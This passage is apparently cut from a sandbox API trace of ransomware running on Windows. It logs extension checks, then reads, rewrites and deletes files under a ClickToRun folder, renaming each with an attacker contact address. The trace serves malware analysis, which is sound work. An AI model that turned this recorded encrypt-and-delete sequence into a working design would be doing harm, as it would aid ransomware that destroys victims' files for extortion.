(lpString1=".ppt", lpString2="hash") returned -1 [0293.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0293.401] lstrlenW (lpString=".zip") returned 4 [0293.401] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0293.401] lstrlenW (lpString=".rar") returned 4 [0293.401] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0293.401] lstrlenW (lpString=".bz2") returned 4 [0293.401] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0293.401] lstrlenW (lpString=".7z") returned 3 [0293.401] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0293.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0293.401] lstrlenW (lpString=".dbf") returned 4 [0293.401] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0293.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0293.401] lstrlenW (lpString=".1cd") returned 4 [0293.401] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0293.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0293.402] lstrlenW (lpString=".jpg") returned 4 [0293.402] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0293.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0293.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0293.402] lstrlenW (lpString=".doc") returned 4 [0293.402] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0293.402] lstrlenW (lpString=".docx") returned 5 [0293.402] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0293.402] lstrlenW (lpString=".pdf") returned 4 [0293.402] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0293.402] lstrlenW (lpString=".xls") returned 4 [0293.402] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0293.402] lstrlenW (lpString=".xlsx") returned 5 [0293.402] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0293.402] lstrlenW (lpString=".ppt") returned 4 [0293.402] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0293.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0293.402] lstrlenW (lpString=".zip") returned 4 [0293.402] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0293.402] lstrlenW (lpString=".rar") returned 4 [0293.402] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0293.402] lstrlenW (lpString=".bz2") returned 4 [0293.402] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0293.402] lstrlenW (lpString=".7z") returned 3 [0293.402] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0293.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0293.402] lstrlenW (lpString=".dbf") returned 4 [0293.402] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0293.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0293.403] lstrlenW (lpString=".1cd") returned 4 [0293.403] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0293.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0293.403] lstrlenW (lpString=".jpg") returned 4 [0293.403] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0293.403] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0293.403] lstrlenW (lpString="IntegratedOffice.exe") returned 20 [0293.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0293.403] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=1093248) returned 1 [0293.403] CloseHandle (hObject=0x10b4) returned 1 [0293.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20 [0293.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0293.404] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.404] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0293.404] GetLastError () returned 0x0 [0293.404] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0293.577] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0293.658] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0xae90, lpOverlapped=0x0) returned 1 [0293.666] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xaea0, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xaea0, lpOverlapped=0x0) returned 1 [0293.712] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.712] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xfc, lpOverlapped=0x0) returned 1 [0293.712] SetEndOfFile (hFile=0x1084) returned 1 [0293.732] CloseHandle (hObject=0x1084) returned 1 [0293.733] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.733] SetEndOfFile (hFile=0x10b4) returned 1 [0293.734] CloseHandle (hObject=0x10b4) returned 1 [0293.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0293.734] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 1 [0293.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0293.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0293.734] lstrlenW (lpString=".doc") returned 4 [0293.734] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0293.734] lstrlenW (lpString=".docx") returned 5 [0293.734] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0293.734] lstrlenW (lpString=".pdf") returned 4 [0293.734] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0293.734] lstrlenW (lpString=".xls") returned 4 [0293.734] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0293.734] lstrlenW (lpString=".xlsx") returned 5 [0293.734] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0293.734] lstrlenW (lpString=".ppt") returned 4 [0293.734] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0293.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0293.734] lstrlenW (lpString=".zip") returned 4 [0293.734] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0293.734] lstrlenW (lpString=".rar") returned 4 [0293.735] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0293.735] lstrlenW (lpString=".bz2") returned 4 [0293.735] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0293.735] lstrlenW (lpString=".7z") returned 3 [0293.735] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0293.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0293.735] lstrlenW (lpString=".dbf") returned 4 [0293.735] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0293.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0293.735] lstrlenW (lpString=".1cd") returned 4 [0293.735] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0293.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0293.735] lstrlenW (lpString=".jpg") returned 4 [0293.735] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0293.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0293.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0293.735] lstrlenW (lpString=".doc") returned 4 [0293.735] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0293.735] lstrlenW (lpString=".docx") returned 5 [0293.735] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0293.735] lstrlenW (lpString=".pdf") returned 4 [0293.735] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0293.735] lstrlenW (lpString=".xls") returned 4 [0293.735] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0293.736] lstrlenW (lpString=".xlsx") returned 5 [0293.736] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0293.736] lstrlenW (lpString=".ppt") returned 4 [0293.736] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0293.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0293.736] lstrlenW (lpString=".zip") returned 4 [0293.736] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0293.736] lstrlenW (lpString=".rar") returned 4 [0293.736] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0293.736] lstrlenW (lpString=".bz2") returned 4 [0293.736] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0293.736] lstrlenW (lpString=".7z") returned 3 [0293.736] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0293.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0293.736] lstrlenW (lpString=".dbf") returned 4 [0293.736] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0293.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0293.736] lstrlenW (lpString=".1cd") returned 4 [0293.736] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0293.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0293.736] lstrlenW (lpString=".jpg") returned 4 [0293.736] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0293.736] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0293.736] lstrlenW (lpString="vccorlib140.dll") returned 15 [0293.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0293.737] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=390320) returned 1 [0293.737] CloseHandle (hObject=0x10b4) returned 1 [0293.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20 [0293.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0293.737] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.737] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0293.738] GetLastError () returned 0x0 [0293.738] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x5f4b0, lpOverlapped=0x0) returned 1 [0294.382] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x5f4c0, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x5f4c0, lpOverlapped=0x0) returned 1 [0294.390] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0294.390] WriteFile (in: hFile=0x1084, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xf2, lpOverlapped=0x0) returned 1 [0294.390] SetEndOfFile (hFile=0x1084) returned 1 [0294.390] CloseHandle (hObject=0x1084) returned 1 [0294.390] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0294.390] SetEndOfFile (hFile=0x10b4) returned 1 [0294.394] CloseHandle (hObject=0x10b4) returned 1 [0294.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0294.395] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 1 [0294.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0294.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0294.395] lstrlenW (lpString=".doc") returned 4 [0294.395] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.395] lstrlenW (lpString=".docx") returned 5 [0294.395] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0294.395] lstrlenW (lpString=".pdf") returned 4 [0294.395] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.395] lstrlenW (lpString=".xls") returned 4 [0294.395] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.395] lstrlenW (lpString=".xlsx") returned 5 [0294.395] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0294.396] lstrlenW (lpString=".ppt") returned 4 [0294.396] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0294.396] lstrlenW (lpString=".zip") returned 4 [0294.396] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.396] lstrlenW (lpString=".rar") returned 4 [0294.396] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.396] lstrlenW (lpString=".bz2") returned 4 [0294.396] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.396] lstrlenW (lpString=".7z") returned 3 [0294.396] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0294.396] lstrlenW (lpString=".dbf") returned 4 [0294.396] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0294.396] lstrlenW (lpString=".1cd") returned 4 [0294.396] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0294.396] lstrlenW (lpString=".jpg") returned 4 [0294.396] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0294.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0294.396] lstrlenW (lpString=".doc") returned 4 [0294.396] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.396] lstrlenW (lpString=".docx") returned 5 [0294.397] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0294.397] lstrlenW (lpString=".pdf") returned 4 [0294.397] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.397] lstrlenW (lpString=".xls") returned 4 [0294.397] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.397] lstrlenW (lpString=".xlsx") returned 5 [0294.397] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0294.397] lstrlenW (lpString=".ppt") returned 4 [0294.397] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0294.397] lstrlenW (lpString=".zip") returned 4 [0294.397] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.397] lstrlenW (lpString=".rar") returned 4 [0294.397] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.397] lstrlenW (lpString=".bz2") returned 4 [0294.397] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.397] lstrlenW (lpString=".7z") returned 3 [0294.397] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0294.397] lstrlenW (lpString=".dbf") returned 4 [0294.397] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0294.397] lstrlenW (lpString=".1cd") returned 4 [0294.397] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0294.397] lstrlenW (lpString=".jpg") returned 4 [0294.397] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.398] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0294.398] lstrlenW (lpString="vcruntime140.dll") returned 16 [0294.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0294.398] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=88752) returned 1 [0294.398] CloseHandle (hObject=0x10b4) returned 1 [0294.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0294.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0294.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0294.399] lstrlenW (lpString=".doc") returned 4 [0294.399] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.399] lstrlenW (lpString=".docx") returned 5 [0294.399] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0294.399] lstrlenW (lpString=".pdf") returned 4 [0294.399] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.399] lstrlenW (lpString=".xls") returned 4 [0294.399] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.399] lstrlenW (lpString=".xlsx") returned 5 [0294.399] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0294.399] lstrlenW (lpString=".ppt") returned 4 [0294.399] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0294.399] lstrlenW (lpString=".zip") returned 4 [0294.399] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.399] lstrlenW (lpString=".rar") returned 4 [0294.399] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.399] lstrlenW (lpString=".bz2") returned 4 [0294.399] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.399] lstrlenW (lpString=".7z") returned 3 [0294.399] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0294.399] lstrlenW (lpString=".dbf") returned 4 [0294.399] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0294.399] lstrlenW (lpString=".1cd") returned 4 [0294.399] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0294.400] lstrlenW (lpString=".jpg") returned 4 [0294.400] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0294.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0294.400] lstrlenW (lpString=".doc") returned 4 [0294.400] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.400] lstrlenW (lpString=".docx") returned 5 [0294.400] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0294.400] lstrlenW (lpString=".pdf") returned 4 [0294.400] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.400] lstrlenW (lpString=".xls") returned 4 [0294.400] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.400] lstrlenW (lpString=".xlsx") returned 5 [0294.400] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0294.400] lstrlenW (lpString=".ppt") returned 4 [0294.400] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.400] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0294.400] lstrlenW (lpString=".zip") returned 4 [0294.400] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.400] lstrlenW (lpString=".rar") returned 4 [0294.400] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.400] lstrlenW (lpString=".bz2") returned 4 [0294.400] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.400] lstrlenW (lpString=".7z") returned 3 [0294.400] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0294.401] lstrlenW (lpString=".dbf") returned 4 [0294.401] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.401] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 